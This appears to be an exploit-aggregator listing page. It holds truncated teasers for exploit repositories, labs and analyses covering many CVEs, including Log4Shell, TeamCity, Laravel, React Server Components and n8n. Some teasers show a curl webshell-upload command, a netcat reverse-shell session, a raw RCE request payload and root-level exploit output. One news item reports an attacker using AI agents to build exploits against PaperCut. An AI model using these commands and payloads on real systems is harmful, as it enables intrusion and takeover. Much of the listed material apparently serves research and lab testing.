CVE-2025-12673

Flex QR Code Generator ' shell.php curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \ -F "action=flexqrupdateqr" \ -F "qrId=1" \ -F "qrData="data":"https://example.com"" \ -F "[email protected]" Details The vulnerability exists in the updateqrcode method of the...

CVE-2024-46506

CVE-2024-46506 This is a standalone Python implementation for CVE-2024-46506. I created this script because I could only find the Metasploit module and needed a lightweight, portable version that doesn't require the full Metasploit Framework. Disclaimer This tool is intended for educational...

log4j-test

Simple Example showing CVE-2021-44228 in action Explanation To reproduce this issue, I am removing the transitive dependency for logging from SpringBoot. Instead, I am bringing in spring-boot-starter-log4j2 spring-boot-starter-log4j2 brings in log4j-core which has the remote code exploit RCE...

Additive-Vulnerability-Analysis-CVE-2021-41773

Additive-Vulnerability-Analysis-CVE-2021-41773 Apache: a Mainstream Web Service Turned a Vector of Attack for Remote Code Execution...

CVE-2023-42793

CVE-2023-42793 - Create username administrator Example of command execution: root@kitploit: python3 exploit.py -u http://localhost User add token - eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1 Successful execution, preparing for the RC...

firewall

🛡️ Spring4Shell Firewall Defense – Cybersecurity Incident Simulation This project is part of a Cybersecurity Job Simulation I completed through Forage in August 2025. It simulates a real-world incident involving the Spring4Shell CVE-2022-22965 vulnerability and demonstrates how a custom firewall...

CVE-2021-3129-Lab

CVE-2021-3129: Laravel Debug Mode RCE Lab Hands-on lab for exploiting CVE-2021-3129 - a critical Laravel vulnerability allowing unauthenticated file read and potential RCE. Quick Start root@kitploit: Clone git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git cd CVE-2021-3129-Lab...

unrealircd3.2.8.1-local-exploit

Tested on Metasploitable 3 USAGE Ruby On Attacker's shell root@kitploit: nc -nlvp 1111 On victim's shell root@kitploit: ruby exploit.rb 127.0.0.1 Expected output on attacker's shell root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Pytho...

Log4Shell-CVE-2021-44228-

Log4Shell CVE-2021-44228 - SOC 报告分析 概述 该仓库包含针对 Log4Shell CVE-2021-44228 的全面安全运营中心 SOC 分析，这是 2021 年发现的最关键的漏洞之一。该漏洞影响 Apache Log4j 日志库，对全球各地的组织构成极端风险。 内容 SOCREPORT.md - 完整的 SOC 分析与建议 TECHNICALANALYSIS.md - 该漏洞的深度技术剖析 REMEDIATIONGUIDE.md - 分步缓解策略 DETECTIONINDICATORS.md - IOCs（入侵指标）与检测方法...

analysis-and-poc-n8n-CVE-2025-68613

Overview n8n and CVE-2025-68613 n8n is a workflow automation platform used to integrate systems and services through visual flows and JavaScript expressions. CVE-2025-68613 is a critical Remote Code Execution RCE vulnerability, with CVSS 9.9 , affecting multiple versions of n8n. The flaw occurs i...

CVE-2025-55182

CVE-2025-55182 root@kitploit: POST /formaction HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary=----Boundary Content-Length: 297 ------Boundary Content-Disposition: form-data; name="$ACTIONREF0" ------Boundary Content-Disposition: form-data; name="$ACTION0:0"...

CVE-2024-57366

CVE-2024-57366 Exploit A robust exploit for CVE-2024-57366 that allows remote code execution on vulnerable routers through MAC address validation bypass and command injection. This is a post-authorization exploit that requires the router "Remote Control" feature to be on, and the administrative...

React2Shell-CVE-2025-55182

CVE-2025-55182 - React2Shell root@kitploit: | | | / \ / | | / || | | | | | | | | | | | / | | | | \ | || | | | | | | | | | / \ | | | / / | | || || | || \// \| || ||/|| ||||| CVE-2025-55182 针对 React Server Components RSC 的远程代码执行扫描器 致谢...

CVE-2025-48148

CVE-2025-48148 StoreKeeper for WooCommerce = 14.4.4 - 未认证任意文件上传 🚀 StoreKeeper for WooCommerce = 14.4.4 - 未认证任意文件上传漏洞利用 📝 描述 WordPress 的 StoreKeeper for WooCommerce 插件由于在 14.4.4 及之前的所有版本中缺少文件类型验证，因而存在任意文件上传漏洞。 这允许未认证的攻击者向受影响站点的服务器上传任意文件，进而可能导致远程代码执行。 CVE： CVE-2025-48148 CVSS： 9.8（严重） 🛡️ 脚本概述 脚本名称：...

CVE-2023-22527

CVE-2023-22527 - Atlassian Confluence Remote Code Execution Overview CVE-2023-22527 is a critical remote code execution vulnerability in Atlassian Confluence Data Center and Server. This vulnerability allows unauthenticated attackers to execute arbitrary code on vulnerable Confluence instances...

n8n_CVE-2025-68613_exploit_payloads

n8nCVE-2025-68613exploitpayloads Expression injection payloads for n8n CVE-2025-68613 RCE LEGAL DISCLAIMER: This content is for educational purposes only. Author bears no responsibility for damages, misuse, or unauthorized exploitation of CVE-2025-68613. Test solely in isolated lab environments o...

PaperCut Attacker Uses Hundreds of AI Agents to Compromise 440+ Instances

A suspected Russian-speaking cyber actor has been attributed to the use of artificial intelligence AI to devise exploits targeting a recently disclosed pair of security flaws in PaperCut NG/MF and break into hundreds of instances. According to independent reports from Blackpoint Cyber and...

CVE-2025-55182-PoC-exploit

CVE-2025-55182-PoC-exploit Next.js RCE via React Server Functions root@kitploit: ❯ python3 cve-2025-55182-exploit.py 0:"a":"$@1","f":"","b":"3OmR5Ifk9dmFJ1coB7-Wc" 1:E"digest":"uid=0root gid=0root groups=0root,0root,1bin,2daemon,3sys,4adm,6disk,10wheel,11floppy,20dialout,26tape,27video"...

CVE-2020-14882

WebLogic CVE-2020-14882 / CVE-2020-14883 Test Script This project provides a simple Bash script for testing whether an Oracle WebLogic server is vulnerable to the authentication bypass CVE-2020-14882 and the associated remote code execution vector CVE-2020-14883. The script sends a POST request t...

CVE-2025-3248-POC

Langflow RCE Exploit - CVE-2025-3248 ⚠️ Disclaimer This code is strictly intended for educational and research purposes only. Unauthorized use on systems without explicit permission may constitute a violation of the law. The author is not responsible for any misuse or malicious activity involving...